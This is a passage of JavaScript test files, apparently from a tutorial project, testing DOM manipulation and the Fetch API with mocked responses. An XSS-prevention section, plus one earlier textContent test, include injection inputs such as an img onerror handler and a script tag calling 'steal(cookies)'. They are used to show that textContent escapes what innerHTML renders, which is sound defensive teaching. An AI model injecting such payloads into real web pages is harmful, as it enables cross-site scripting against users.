'<div id="target">Content</div>' const div = document.querySelector('#target') div.insertAdjacentHTML('beforebegin', '<p id="before">Before</p>') div.insertAdjacentHTML('afterbegin', '<span id="first">First</span>') div.insertAdjacentHTML('beforeend', '<span id="last">Last</span>') div.insertAdjacentHTML('afterend', '<p id="after">After</p>') expect(div.previousElementSibling.id).toBe('before') expect(div.firstElementChild.id).toBe('first') expect(div.lastElementChild.id).toBe('last') expect(div.nextElementSibling.id).toBe('after') }) }) describe('Removing Elements', () => { it('should remove element with remove()', () => { document.body.innerHTML = '<div class="to-remove">Gone</div>' const element = document.querySelector('.to-remove') element.remove() expect(document.querySelector('.to-remove')).toBeNull() }) it('should remove child with removeChild()', () => { document.body.innerHTML = '<ul><li>Keep</li><li class="remove">Remove</li></ul>' const ul = document.querySelector('ul') const toRemove = ul.querySelector('.remove') ul.removeChild(toRemove) expect(ul.children.length).toBe(1) expect(ul.querySelector('.remove')).toBeNull() }) }) describe('Cloning Elements', () => { it('should shallow clone element only', () => { document.body.innerHTML = '<div class="card"><p>Content</p></div>' const original = document.querySelector('.card') const shallow = original.cloneNode(false) expect(shallow.className).toBe('card') expect(shallow.children.length).toBe(0) // No children }) it('should deep clone element with descendants', () => { document.body.innerHTML = '<div class="card"><p>Content</p></div>' const original = document.querySelector('.card') const deep = original.cloneNode(true) expect(deep.className).toBe('card') expect(deep.children.length).toBe(1) expect(deep.querySelector('p').textContent).toBe('Content') }) it('should create detached clone', () => { document.body.innerHTML = '<div class="card">Content</div>' const original = document.querySelector('.card') const clone = original.cloneNode(true) expect(clone.parentNode).toBeNull() }) }) describe('DocumentFragment', () => { it('should batch add elements with fragment', () => { document.body.innerHTML = '<ul></ul>' const ul = document.querySelector('ul') const fragment = document.createDocumentFragment() for (let i = 0; i < 5; i++) { const li = document.createElement('li') li.textContent = `Item ${i}` fragment.appendChild(li) } ul.appendChild(fragment) expect(ul.children.length).toBe(5) expect(ul.firstElementChild.textContent).toBe('Item 0') expect(ul.lastElementChild.textContent).toBe('Item 4') }) it('should have no parent', () => { const fragment = document.createDocumentFragment() expect(fragment.parentNode).toBeNull() }) }) }) // =========================================================================== // MODIFYING CONTENT // =========================================================================== describe('Modifying Content', () => { describe('innerHTML', () => { it('should read HTML content', () => { document.body.innerHTML = '<div><p>Hello</p><span>World</span></div>' const div = document.querySelector('div') expect(div.innerHTML).toBe('<p>Hello</p><span>World</span>') }) it('should set HTML content', () => { document.body.innerHTML = '<div></div>' const div = document.querySelector('div') div.innerHTML = '<h1>New Title</h1><p>New paragraph</p>' expect(div.children.length).toBe(2) expect(div.querySelector('h1').textContent).toBe('New Title') }) it('should clear content with empty string', () => { document.body.innerHTML = '<div><p>Content</p></div>' const div = document.querySelector('div') div.innerHTML = '' expect(div.children.length).toBe(0) }) }) describe('textContent', () => { it('should read text content ignoring HTML', () => { document.body.innerHTML = '<div><p>Hello</p><span>World</span></div>' const div = document.querySelector('div') expect(div.textContent).toBe('HelloWorld') }) it('should set text content escaping HTML', () => { document.body.innerHTML = '<div></div>' const div = document.querySelector('div') div.textContent = '<script>alert("XSS")</script>' // HTML is escaped, not parsed expect(div.children.length).toBe(0) expect(div.textContent).toBe('<script>alert("XSS")</script>') }) }) describe('innerText vs textContent', () => { it('textContent includes hidden text, innerText may not', () => { document.body.innerHTML = '<div>Hello <span style="display:none">Hidden</span> World</div>' const div = document.querySelector('div') // textContent includes all text expect(div.textContent).toContain('Hidden') // Note: In jsdom, innerText may behave like textContent // In real browsers, innerText would exclude display:none text }) }) }) // =========================================================================== // WORKING WITH ATTRIBUTES // =========================================================================== describe('Working with Attributes', () => { describe('Standard Attribute Methods', () => { it('should get attribute value', () => { document.body.innerHTML = '<a href="https://example.com" target="_blank">Link</a>' const link = document.querySelector('a') expect(link.getAttribute('href')).toBe('https://example.com') expect(link.getAttribute('target')).toBe('_blank') }) it('should set attribute value', () => { document.body.innerHTML = '<a href="#">Link</a>' const link = document.querySelector('a') link.setAttribute('href', 'https://newurl.com') link.setAttribute('target', '_blank') expect(link.getAttribute('href')).toBe('https://newurl.com') expect(link.getAttribute('target')).toBe('_blank') }) it('should check if attribute exists', () => { document.body.innerHTML = '<a href="#" target="_blank">Link</a>' const link = document.querySelector('a') expect(link.hasAttribute('target')).toBe(true) expect(link.hasAttribute('rel')).toBe(false) }) it('should remove attribute', () => { document.body.innerHTML = '<a href="#" target="_blank">Link</a>' const link = document.querySelector('a') link.removeAttribute('target') expect(link.hasAttribute('target')).toBe(false) }) }) describe('Properties vs Attributes', () => { it('should show difference between attribute and property', () => { document.body.innerHTML = '<input type="text" value="initial">' const input = document.querySelector('input') // Both start the same expect(input.getAttribute('value')).toBe('initial') expect(input.value).toBe('initial') // Change the property (simulating user input) input.value = 'new text' // Attribute stays the same, property changes expect(input.getAttribute('value')).toBe('initial') expect(input.value).toBe('new text') }) it('should show checkbox property vs attribute', () => { document.body.innerHTML = '<input type="checkbox" checked>' const checkbox = document.querySelector('input') // Attribute is string or null expect(checkbox.getAttribute('checked')).toBe('') // Property is boolean expect(checkbox.checked).toBe(true) // Toggle the property checkbox.checked = false expect(checkbox.checked).toBe(false) // Attribute may still exist }) }) describe('Data Attributes and dataset API', () => { it('should read data attributes via dataset', () => { document.body.innerHTML = '<div id="user" data-user-id="123" data-role="admin"></div>' const user = document.querySelector('#user') expect(user.dataset.userId).toBe('123') expect(user.dataset.role).toBe('admin') }) it('should write data attributes via dataset', () => { document.body.innerHTML = '<div id="user"></div>' const user = document.querySelector('#user') user.dataset.lastLogin = '2024-01-15' expect(user.getAttribute('data-last-login')).toBe('2024-01-15') }) it('should delete data attributes', () => { document.body.innerHTML = '<div data-role="admin"></div>' const div = document.querySelector('div') delete div.dataset.role expect(div.hasAttribute('data-role')).toBe(false) }) it('should check if data attribute exists', () => { document.body.innerHTML = '<div data-user-id="123"></div>' const div = document.querySelector('div') expect('userId' in div.dataset).toBe(true) expect('role' in div.dataset).toBe(false) }) }) }) // =========================================================================== // STYLING ELEMENTS // =========================================================================== describe('Styling Elements', () => { describe('style Property', () => { it('should set inline styles', () => { document.body.innerHTML = '<div></div>' const box = document.querySelector('div') box.style.backgroundColor = 'blue' box.style.fontSize = '20px' expect(box.style.backgroundColor).toBe('blue') expect(box.style.fontSize).toBe('20px') }) it('should remove inline style with empty string', () => { document.body.innerHTML = '<div style="color: red;"></div>' const box = document.querySelector('div') box.style.color = '' expect(box.style.color).toBe('') }) it('should set multiple styles with cssText', () => { document.body.innerHTML = '<div></div>' const box = document.querySelector('div') box.style.cssText = 'background: red; font-size: 16px; padding: 10px;' expect(box.style.background).toContain('red') expect(box.style.fontSize).toBe('16px') expect(box.style.padding).toBe('10px') }) }) describe('getComputedStyle', () => { it('should get computed styles', () => { document.body.innerHTML = '<div style="display: block;"></div>' const box = document.querySelector('div') const styles = getComputedStyle(box) expect(styles.display).toBe('block') }) }) describe('classList API', () => { it('should add classes', () => { document.body.innerHTML = '<button></button>' const button = document.querySelector('button') button.classList.add('active') button.classList.add('btn', 'btn-primary') expect(button.classList.contains('active')).toBe(true) expect(button.classList.contains('btn')).toBe(true) expect(button.classList.contains('btn-primary')).toBe(true) }) it('should remove classes', () => { document.body.innerHTML = '<button class="active btn btn-primary"></button>' const button = document.querySelector('button') button.classList.remove('active') button.classList.remove('btn', 'btn-primary') expect(button.classList.contains('active')).toBe(false) expect(button.classList.contains('btn')).toBe(false) }) it('should toggle classes', () => { document.body.innerHTML = '<button></button>' const button = document.querySelector('button') button.classList.toggle('active') expect(button.classList.contains('active')).toBe(true) button.classList.toggle('active') expect(button.classList.contains('active')).toBe(false) }) it('should toggle with condition', () => { document.body.innerHTML = '<button></button>' const button = document.querySelector('button') button.classList.toggle('active', true) expect(button.classList.contains('active')).toBe(true) button.classList.toggle('active', false) expect(button.classList.contains('active')).toBe(false) }) it('should replace class', () => { document.body.innerHTML = '<button class="btn-primary"></button>' const button = document.querySelector('button') button.classList.replace('btn-primary', 'btn-secondary') expect(button.classList.contains('btn-primary')).toBe(false) expect(button.classList.contains('btn-secondary')).toBe(true) }) it('should get class count', () => { document.body.innerHTML = '<button class="btn btn-primary active"></button>' const button = document.querySelector('button') expect(button.classList.length).toBe(3) }) }) }) // =========================================================================== // COMMON PATTERNS // =========================================================================== describe('Common Patterns', () => { describe('Checking Element Existence', () => { it('should check if element exists with querySelector', () => { document.body.innerHTML = '<div class="exists">Found</div>' const element = document.querySelector('.exists') if (element) { element.textContent = 'Updated!' } expect(document.querySelector('.exists').textContent).toBe('Updated!') }) it('should handle non-existent element safely', () => { document.body.innerHTML = '' const element = document.querySelector('.maybe-exists') // Using optional chaining (no error) element?.classList.add('active') expect(element).toBeNull() }) }) describe('Event Delegation Pattern', () => { it('should use closest() for event delegation', () => { document.body.innerHTML = ` <div class="card-container"> <div class="card"> <button class="btn">Click</button> </div> </div> ` let clickedCard = null const container = document.querySelector('.card-container') // Simulate event delegation const btn = document.querySelector('.btn') const card = btn.closest('.card') if (card) { clickedCard = card } expect(clickedCard).not.toBeNull() expect(clickedCard.classList.contains('card')).toBe(true) }) }) describe('Security Patterns - XSS Prevention', () => { it('should demonstrate innerHTML vulnerability with script-like content', () => { document.body.innerHTML = '<div id="output"></div>' const output = document.getElementById('output') // innerHTML can render HTML - potential XSS vector const maliciousInput = '<img src="x" onerror="alert(1)">' output.innerHTML = maliciousInput // The img tag is actually created const img = output.querySelector('img') expect(img).not.toBeNull() expect(img.getAttribute('onerror')).toBe('alert(1)') }) it('should use textContent to safely render user input', () => { document.body.innerHTML = '<div id="output"></div>' const output = document.getElementById('output') // textContent escapes HTML - safe from XSS const maliciousInput = '<img src="x" onerror="alert(1)">' output.textContent = maliciousInput // No img tag created - text is escaped const img = output.querySelector('img') expect(img).toBeNull() expect(output.textContent).toBe('<img src="x" onerror="alert(1)">') }) it('should show difference between innerHTML and textContent with HTML entities', () => { document.body.innerHTML = '<div id="html-output"></div><div id="text-output"></div>' const htmlOutput = document.getElementById('html-output') const textOutput = document.getElementById('text-output') const userInput = '<script>steal(cookies)</script>' htmlOutput.innerHTML = userInput textOutput.textContent = userInput // innerHTML parses the HTML (script won't execute in modern browsers but DOM is modified) expect(htmlOutput.children.length).toBeGreaterThanOrEqual(0) // textContent treats it as plain text expect(textOutput.textContent).toBe('<script>steal(cookies)</script>') expect(textOutput.children.length).toBe(0) }) }) describe('Attribute Shortcuts', () => { it('should access id directly on element', () => { document.body.innerHTML = '<div id="myElement"></div>' const element = document.getElementById('myElement') expect(element.id).toBe('myElement') element.id = 'newId' expect(element.id).toBe('newId') expect(document.getElementById('newId')).toBe(element) }) it('should access className directly on element', () => { document.body.innerHTML = '<div class="box large"></div>' const element = document.querySelector('.box') expect(element.className).toBe('box large') element.className = 'container small' expect(element.className).toBe('container small') }) it('should access href directly on anchor elements', () => { document.body.innerHTML = '<a href="https://example.com">Link</a>' const link = document.querySelector('a') expect(link.href).toBe('https://example.com/') link.href = 'https://test.com' expect(link.href).toBe('https://test.com/') }) it('should access src directly on image elements', () => { document.body.innerHTML = '<img src="photo.jpg" alt="Photo">' const img = document.querySelector('img') expect(img.src).toContain('photo.jpg') img.src = 'newphoto.png' expect(img.src).toContain('newphoto.png') }) it('should access title directly on elements', () => { document.body.innerHTML = '<button title="Click me">Button</button>' const button = document.querySelector('button') expect(button.title).toBe('Click me') button.title = 'New tooltip' expect(button.title).toBe('New tooltip') }) }) describe('className vs classList Comparison', () => { it('should replace all classes when using className', () => { document.body.innerHTML = '<div class="one two three"></div>' const element = document.querySelector('div') // className replaces everything element.className = 'four' expect(element.className).toBe('four') expect(element.classList.contains('one')).toBe(false) expect(element.classList.contains('four')).toBe(true) }) it('should add single class without affecting others using classList', () => { document.body.innerHTML = '<div class="one two three"></div>' const element = document.querySelector('div') // classList.add preserves existing classes element.classList.add('four') expect(element.classList.contains('one')).toBe(true) expect(element.classList.contains('two')).toBe(true) expect(element.classList.contains('three')).toBe(true) expect(element.classList.contains('four')).toBe(true) }) it('should toggle class on and off with classList', () => { document.body.innerHTML = '<div class="active"></div>' const element = document.querySelector('div') expect(element.classList.contains('active')).toBe(true) element.classList.toggle('active') expect(element.classList.contains('active')).toBe(false) element.classList.toggle('active') expect(element.classList.contains('active')).toBe(true) }) }) describe('Performance Patterns', () => { it('should cache DOM references instead of repeated queries', () => { document.body.innerHTML = '<div id="target">Content</div>' // Bad: querying multiple times (we just demonstrate the pattern) const query1 = document.getElementById('target') const query2 = document.getElementById('target') const query3 = document.getElementById('target') // Good: cache the reference const cached = document.getElementById('target') const ref1 = cached const ref2 = cached const ref3 = cached // All references point to same element expect(ref1).toBe(ref2) expect(ref2).toBe(ref3) expect(cached).toBe(query1) }) it('should batch DOM updates using documentFragment', () => { document.body.innerHTML = '<ul id="list"></ul>' const list = document.getElementById('list') // Use fragment to batch insertions const fragment = document.createDocumentFragment() for (let i = 0; i < 5; i++) { const li = document.createElement('li') li.textContent = `Item ${i}` fragment.appendChild(li) } // Single DOM update list.appendChild(fragment) expect(list.children.length).toBe(5) expect(list.children[0].textContent).toBe('Item 0') expect(list.children[4].textContent).toBe('Item 4') }) it('should avoid layout thrashing by batching reads and writes', () => { document.body.innerHTML = ` <div class="box" style="width: 100px; height: 100px;"></div> <div class="box" style="width: 100px; height: 100px;"></div> ` const boxes = document.querySelectorAll('.box') // Good pattern: read all first, then write all const heights = [] // Batch reads - get heights from style (JSDOM doesn't compute offsetHeight) boxes.forEach(box => { heights.push(parseInt(box.style.height, 10)) }) // Batch writes boxes.forEach((box, i) => { box.style.height = `${heights[i] + 10}px` }) expect(boxes[0].style.height).toBe('110px') expect(boxes[1].style.height).toBe('110px') }) it('should use textContent for better performance than innerHTML for text', () => { document.body.innerHTML = '<div id="target"></div>' const target = document.getElementById('target') // textContent is faster for plain text (no HTML parsing) target.textContent = 'Plain text content' expect(target.textContent).toBe('Plain text content') expect(target.innerHTML).toBe('Plain text content') expect(target.children.length).toBe(0) }) }) describe('Properties vs Attributes Extended', () => { it('should handle maxLength property on input', () => { document.body.innerHTML = '<input type="text" maxlength="10">' const input = document.querySelector('input') // Property returns number expect(input.maxLength).toBe(10) expect(typeof input.maxLength).toBe('number') // Attribute returns string expect(input.getAttribute('maxlength')).toBe('10') expect(typeof input.getAttribute('maxlength')).toBe('string') }) it('should handle checked property on different input types', () => { document.body.innerHTML = ` <input type="checkbox" id="cb" checked> <input type="radio" id="rb" name="group" checked> ` const checkbox = document.getElementById('cb') const radio = document.getElementById('rb') // Both have boolean checked property expect(checkbox.checked).toBe(true) expect(radio.checked).toBe(true) // Toggle checkbox checkbox.checked = false expect(checkbox.checked).toBe(false) // Attribute still shows original expect(checkbox.hasAttribute('checked')).toBe(true) }) }) describe('Clone ID Collision Prevention', () => { it('should demonstrate ID collision issue with cloneNode', () => { document.body.innerHTML = '<div id="original">Content</div>' const original = document.getElementById('original') // Clone keeps the same ID - causes collision! const clone = original.cloneNode(true) document.body.appendChild(clone) // Now we have two elements with same ID const allWithId = document.querySelectorAll('#original') expect(allWithId.length).toBe(2) // getElementById returns only first one expect(document.getElementById('original')).toBe(original) }) it('should fix ID collision by changing cloned element ID', () => { document.body.innerHTML = '<div id="original">Content</div>' const original = document.getElementById('original') const clone = original.cloneNode(true) // Fix: change ID before appending clone.id = 'clone-1' document.body.appendChild(clone) // No collision - both accessible expect(document.getElementById('original')).toBe(original) expect(document.getElementById('clone-1')).toBe(clone) expect(document.getElementById('clone-1').textContent).toBe('Content') }) }) describe('Complex Selectors', () => { it('should select elements using :not() pseudo-selector', () => { document.body.innerHTML = ` <button class="btn">Normal</button> <button class="btn disabled">Disabled</button> <button class="btn">Another</button> ` // Select buttons that are NOT disabled const activeButtons = document.querySelectorAll('.btn:not(.disabled)') expect(activeButtons.length).toBe(2) expect(activeButtons[0].textContent).toBe('Normal') expect(activeButtons[1].textContent).toBe('Another') }) it('should select elements using :first-of-type pseudo-selector', () => { document.body.innerHTML = ` <div class="container"> <span>First span</span> <p>First paragraph</p> <span>Second span</span> <p>Second paragraph</p> </div> ` const firstSpan = document.querySelector('.container span:first-of-type') const firstP = document.querySelector('.container p:first-of-type') expect(firstSpan.textContent).toBe('First span') expect(firstP.textContent).toBe('First paragraph') }) }) describe('Common Misconceptions', () => { describe('Misconception 1: DOM vs HTML source', () => { it('should show browser always has head and body in DOM', () => { // Browser fixes missing structure expect(document.head).toBeDefined() expect(document.body).toBeDefined() expect(document.documentElement).toBeDefined() }) it('should show DOM reflects JavaScript changes', () => { document.body.innerHTML = '<div id="test">Original</div>' const div = document.getElementById('test') div.textContent = 'Modified' // DOM reflects change expect(div.textContent).toBe('Modified') // Original HTML source would still say "Original" }) }) describe('Misconception 2: querySelector performance', () => { it('should show both methods return the same element', () => { document.body.innerHTML = '<div id="myId">Test</div>' const byId = document.getElementById('myId') const byQuery = document.querySelector('#myId') expect(byId).toBe(byQuery) }) }) describe('Misconception 3: display none vs remove', () => { it('should show display:none keeps element in DOM', () => { document.body.innerHTML = '<div id="hidden">Content</div>' const el = document.getElementById('hidden') el.style.display = 'none' // Still in DOM! expect(document.getElementById('hidden')).toBe(el) expect(el.parentNode).toBe(document.body) }) it('should show visibility:hidden keeps element in DOM', () => { document.body.innerHTML = '<div id="invisible">Content</div>' const el = document.getElementById('invisible') el.style.visibility = 'hidden' expect(document.getElementById('invisible')).toBe(el) }) it('should show remove() actually removes from DOM', () => { document.body.innerHTML = '<div id="toRemove">Content</div>' const el = document.getElementById('toRemove') el.remove() expect(document.getElementById('toRemove')).toBeNull() }) }) describe('Misconception 4: Live collections gotcha', () => { it('should show live collection changes when DOM changes', () => { document.body.innerHTML = ` <div class="item">1</div> <div class="item">2</div> <div class="item">3</div> ` const liveCollection = document.getElementsByClassName('item') expect(liveCollection.length).toBe(3) // Remove first item - collection shrinks liveCollection[0].remove() expect(liveCollection.length).toBe(2) }) it('should show static NodeList is safe for iteration', () => { document.body.innerHTML = ` <div class="item">1</div> <div class="item">2</div> <div class="item">3</div> ` const staticList = document.querySelectorAll('.item') expect(staticList.length).toBe(3) // Remove all items safely staticList.forEach(item => item.remove()) // Original NodeList still has references (but elements are removed from DOM) expect(staticList.length).toBe(3) // Static snapshot expect(document.querySelectorAll('.item').length).toBe(0) // DOM is empty }) }) }) describe('Interview Questions', () => { describe('Q1: querySelector vs getElementById', () => { it('should demonstrate querySelector flexibility with complex selectors', () => { document.body.innerHTML = ` <div class="card"> <span data-id="123">Content</span> </div> ` // querySelector can do what getElementById cannot const byAttribute = document.querySelector('[data-id="123"]') const firstCard = document.querySelector('.card:first-child') expect(byAttribute.textContent).toBe('Content') expect(firstCard.className).toBe('card') }) it('should show both return null for non-existent elements', () => { document.body.innerHTML = '' expect(document.getElementById('nonexistent')).toBeNull() expect(document.querySelector('#nonexistent')).toBeNull() }) }) describe('Q2: Event delegation', () => { it('should demonstrate event delegation with closest()', () => { document.body.innerHTML = ` <div class="container"> <div class="item" data-id="1">Item 1</div> <div class="item" data-id="2">Item 2</div> </div> ` let clickedId = null // Simulated event delegation logic const item = document.querySelector('[data-id="2"]') const closestItem = item.closest('.item') if (closestItem) { clickedId = closestItem.dataset.id } expect(clickedId).toBe('2') }) it('should show delegation works for dynamically added elements', () => { document.body.innerHTML = '<ul class="list"></ul>' const list = document.querySelector('.list') // Add item after "attaching" listener (simulated) const newItem = document.createElement('li') newItem.className = 'item' newItem.textContent = 'New Item' list.appendChild(newItem) // closest() finds it expect(newItem.closest('.list')).toBe(list) }) }) }) }) }) ================================================ FILE: tests/web-platform/http-fetch/http-fetch.test.js ================================================ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' // ============================================================================= // HTTP & FETCH - TEST SUITE // Tests for code examples from docs/concepts/http-fetch.mdx // Uses Node 20+ native fetch with Vitest mocking // ============================================================================= describe('HTTP & Fetch', () => { // Store original fetch const originalFetch = global.fetch beforeEach(() => { // Reset fetch mock before each test vi.restoreAllMocks() }) afterEach(() => { // Restore original fetch after each test global.fetch = originalFetch }) // =========================================================================== // RESPONSE OBJECT BASICS // =========================================================================== describe('Response Object', () => { it('should have status property', () => { const response = new Response('OK', { status: 200 }) expect(response.status).toBe(200) }) it('should have statusText property', () => { const response = new Response('OK', { status: 200, statusText: 'OK' }) expect(response.statusText).toBe('OK') }) it('should have ok property true for 2xx status', () => { const response200 = new Response('OK', { status: 200 }) const response201 = new Response('Created', { status: 201 }) const response204 = new Response(null, { status: 204 }) expect(response200.ok).toBe(true) expect(response201.ok).toBe(true) expect(response204.ok).toBe(true) }) it('should have ok property false for non-2xx status', () => { const response400 = new Response('Bad Request', { status: 400 }) const response404 = new Response('Not Found', { status: 404 }) const response500 = new Response('Server Error', { status: 500 }) expect(response400.ok).toBe(false) expect(response404.ok).toBe(false) expect(response500.ok).toBe(false) }) it('should have headers object', () => { const response = new Response('OK', { headers: { 'Content-Type': 'application/json', 'X-Custom-Header': 'custom-value' } }) expect(response.headers.get('Content-Type')).toBe('application/json') expect(response.headers.get('X-Custom-Header')).toBe('custom-value') }) it('should parse JSON body', async () => { const data = { name: 'Alice', age: 30 } const response = new Response(JSON.stringify(data), { headers: { 'Content-Type': 'application/json' } }) const parsed = await response.json() expect(parsed).toEqual(data) }) it('should parse text body', async () => { const response = new Response('Hello, World!') const text = await response.text() expect(text).toBe('Hello, World!') }) it('should only allow body to be read once', async () => { const response = new Response('Hello') await response.text() // First read // Second read should throw await expect(response.text()).rejects.toThrow() }) it('should clone response for multiple reads', async () => { const response = new Response('Hello') const clone = response.clone() const text1 = await response.text() const text2 = await clone.text() expect(text1).toBe('Hello') expect(text2).toBe('Hello') }) }) // =========================================================================== // RESPONSE BODY METHODS (blob, arrayBuffer) // =========================================================================== describe('Response Body Methods', () => { it('should parse body as Blob', async () => { const textContent = 'Hello, World!' const response = new Response(textContent) const blob = await response.blob() expect(blob).toBeInstanceOf(Blob) expect(blob.size).toBe(textContent.length) }) it('should parse body as ArrayBuffer', async () => { const textContent = 'Hello' const response = new Response(textContent) const buffer = await response.arrayBuffer() expect(buffer).toBeInstanceOf(ArrayBuffer) expect(buffer.byteLength).toBe(textContent.length) }) it('should parse binary data as Blob', async () => { const binaryData = new Uint8Array([0x48, 0x65, 0x6c, 0x6c, 0x6f]) // "Hello" const response = new Response(binaryData) const blob = await response.blob() expect(blob.size).toBe(5) }) it('should parse binary data as ArrayBuffer', async () => { const binaryData = new Uint8Array([1, 2, 3, 4, 5]) const response = new Response(binaryData) const buffer = await response.arrayBuffer() const view = new Uint8Array(buffer) expect(view[0]).toBe(1) expect(view[4]).toBe(5) }) }) // =========================================================================== // RESPONSE METADATA PROPERTIES // =========================================================================== describe('Response Metadata', () => { it('should have url property', () => { // Note: In real fetch, url reflects the final URL after redirects // For Response constructor, we can't set URL directly const response = new Response('OK', { status: 200 }) expect(response.url).toBe('') // Empty for constructed responses }) it('should have type property', () => { const response = new Response('OK', { status: 200 }) // Constructed responses have type "default" expect(response.type).toBe('default') }) it('should have redirected property', () => { const response = new Response('OK', { status: 200 }) // Constructed responses are not redirected expect(response.redirected).toBe(false) }) it('should have bodyUsed property', async () => { const response = new Response('Hello') expect(response.bodyUsed).toBe(false) await response.text() expect(response.bodyUsed).toBe(true) }) }) // =========================================================================== // STATUS CODE RANGES // =========================================================================== describe('HTTP Status Codes', () => { describe('2xx Success', () => { it('200 OK should be successful', () => { const response = new Response('OK', { status: 200 }) expect(response.ok).toBe(true) expect(response.status).toBe(200) }) it('201 Created should be successful', () => { const response = new Response('Created', { status: 201 }) expect(response.ok).toBe(true) expect(response.status).toBe(201) }) it('204 No Content should be successful', () => { const response = new Response(null, { status: 204 }) expect(response.ok).toBe(true) expect(response.status).toBe(204) }) it('299 should still be ok', () => { const response = new Response('OK', { status: 299 }) expect(response.ok).toBe(true) }) }) describe('3xx Redirection', () => { it('301 Moved Permanently should not be ok', () => { const response = new Response('Moved', { status: 301 }) expect(response.ok).toBe(false) }) it('302 Found should not be ok', () => { const response = new Response('Found', { status: 302 }) expect(response.ok).toBe(false) }) it('304 Not Modified should not be ok', () => { // 304 is a "null body status" so we use null body const response = new Response(null, { status: 304 }) expect(response.ok).toBe(false) }) }) describe('4xx Client Errors', () => { it('400 Bad Request should not be ok', () => { const response = new Response('Bad Request', { status: 400 }) expect(response.ok).toBe(false) expect(response.status).toBe(400) }) it('401 Unauthorized should not be ok', () => { const response = new Response('Unauthorized', { status: 401 }) expect(response.ok).toBe(false) expect(response.status).toBe(401) }) it('403 Forbidden should not be ok', () => { const response = new Response('Forbidden', { status: 403 }) expect(response.ok).toBe(false) expect(response.status).toBe(403) }) it('404 Not Found should not be ok', () => { const response = new Response('Not Found', { status: 404 }) expect(response.ok).toBe(false) expect(response.status).toBe(404) }) it('422 Unprocessable Entity should not be ok', () => { const response = new Response('Unprocessable Entity', { status: 422 }) expect(response.ok).toBe(false) expect(response.status).toBe(422) }) }) describe('5xx Server Errors', () => { it('500 Internal Server Error should not be ok', () => { const response = new Response('Internal Server Error', { status: 500 }) expect(response.ok).toBe(false) expect(response.status).toBe(500) }) it('502 Bad Gateway should not be ok', () => { const response = new Response('Bad Gateway', { status: 502 }) expect(response.ok).toBe(false) expect(response.status).toBe(502) }) it('503 Service Unavailable should not be ok', () => { const response = new Response('Service Unavailable', { status: 503 }) expect(response.ok).toBe(false) expect(response.status).toBe(503) }) }) }) // =========================================================================== // HEADERS API // =========================================================================== describe('Headers API', () => { it('should create headers from object', () => { const headers = new Headers({ 'Content-Type': 'application/json', 'Accept': 'application/json' }) expect(headers.get('Content-Type')).toBe('application/json') expect(headers.get('Accept')).toBe('application/json') }) it('should append headers', () => { const headers = new Headers() headers.append('Accept', 'application/json') headers.append('Accept', 'text/plain') expect(headers.get('Accept')).toBe('application/json, text/plain') }) it('should set headers (overwrite)', () => { const headers = new Headers() headers.set('Accept', 'application/json') headers.set('Accept', 'text/plain') expect(headers.get('Accept')).toBe('text/plain') }) it('should check if header exists', () => { const headers = new Headers({ 'Content-Type': 'application/json' }) expect(headers.has('Content-Type')).toBe(true) expect(headers.has('Authorization')).toBe(false) }) it('should delete headers', () => { const headers = new Headers({ 'Content-Type': 'application/json', 'Accept': 'application/json' }) headers.delete('Accept') expect(headers.has('Accept')).toBe(false) expect(headers.has('Content-Type')).toBe(true) }) it('should iterate over headers', () => { const headers = new Headers({ 'Content-Type': 'application/json', 'Accept': 'application/json' }) const entries = [] for (const [key, value] of headers) { entries.push([key, value]) } expect(entries).toContainEqual(['content-type', 'application/json']) expect(entries).toContainEqual(['accept', 'application/json']) }) it('should be case-insensitive for header names', () => { const headers = new Headers({ 'Content-Type': 'application/json' }) expect(headers.get('content-type')).toBe('application/json') expect(headers.get('CONTENT-TYPE')).toBe('application/json') expect(headers.get('Content-Type')).toBe('application/json') }) }) // =========================================================================== // REQUEST OBJECT // =========================================================================== describe('Request Object', () => { it('should create a basic request', () => { const request = new Request('https://api.example.com/users') expect(request.url).toBe('https://api.example.com/users') expect(request.method).toBe('GET') }) it('should create request with method', () => { const request = new Request('https://api.example.com/users', { method: 'POST' }) expect(request.method).toBe('POST') }) it('should create request with headers', () => { const request = new Request('https://api.example.com/users', { headers: { 'Content-Type': 'application/json', 'Authorization': 'Bearer token123' } }) expect(request.headers.get('Content-Type')).toBe('application/json') expect(request.headers.get('Authorization')).toBe('Bearer token123') }) it('should create request with body', async () => { const body = JSON.stringify({ name: 'Alice' }) const request = new Request('https://api.example.com/users', { method: 'POST', body: body }) const requestBody = await request.text() expect(requestBody).toBe(body) }) it('should clone request', () => { const request = new Request('https://api.example.com/users', { method: 'POST', headers: { 'Content-Type': 'application/json' } }) const clone = request.clone() expect(clone.url).toBe(request.url) expect(clone.method).toBe(request.method) expect(clone.headers.get('Content-Type')).toBe('application/json') }) }) // =========================================================================== // FETCH WITH MOCKING // =========================================================================== describe('Fetch API (Mocked)', () => { it('should make a GET request', async () => { const mockData = { id: 1, name: 'Alice' } global.fetch = vi.fn().mockResolvedValue( new Response(JSON.stringify(mockData), { status: 200, headers: { 'Content-Type': 'application/json' } }) ) const response = await fetch('https://api.example.com/users/1') const data = await response.json() expect(fetch).toHaveBeenCalledWith('https://api.example.com/users/1') expect(data).toEqual(mockData) }) it('should make a POST request with body', async () => { const mockResponse = { id: 1, name: 'Alice' } global.fetch = vi.fn().mockResolvedValue( new Response(JSON.stringify(mockResponse), { status: 201, headers: { 'Content-Type': 'application/json' } }) ) const userData = { name: 'Alice', email: 'alice@example.com' } const response = await fetch('https://api.example.com/users', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(userData) }) expect(fetch).toHaveBeenCalledWith('https://api.example.com/users', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(userData) }) expect(response.status).toBe(201) }) it('should handle 404 response (not rejection)', async () => { global.fetch = vi.fn().mockResolvedValue( new Response('Not Found', { status: 404 }) ) // Fetch resolves even for 404! const response = await fetch('https://api.example.com/users/999') expect(response.ok).toBe(false) expect(response.status).toBe(404) }) it('should handle 500 response (not rejection)', async () => { global.fetch = vi.fn().mockResolvedValue( new Response('Internal Server Error', { status: 500 }) ) // Fetch resolves even for 500! const response = await fetch('https://api.example.com/broken') expect(response.ok).toBe(false) expect(response.status).toBe(500) }) it('should reject on network error', async () => { global.fetch = vi.fn().mockRejectedValue( new TypeError('Failed to fetch') ) await expect(fetch('https://api.example.com/unreachable')) .rejects.toThrow('Failed to fetch') }) }) // =========================================================================== // ERROR HANDLING PATTERNS // =========================================================================== describe('Error Handling Patterns', () => { it('should properly check response.ok', async () => { global.fetch = vi.fn().mockResolvedValue( new Response('Not Found', { status: 404 }) ) const response = await fetch('/api/users/999') // The correct pattern if (!response.ok) { const error = new Error(`HTTP 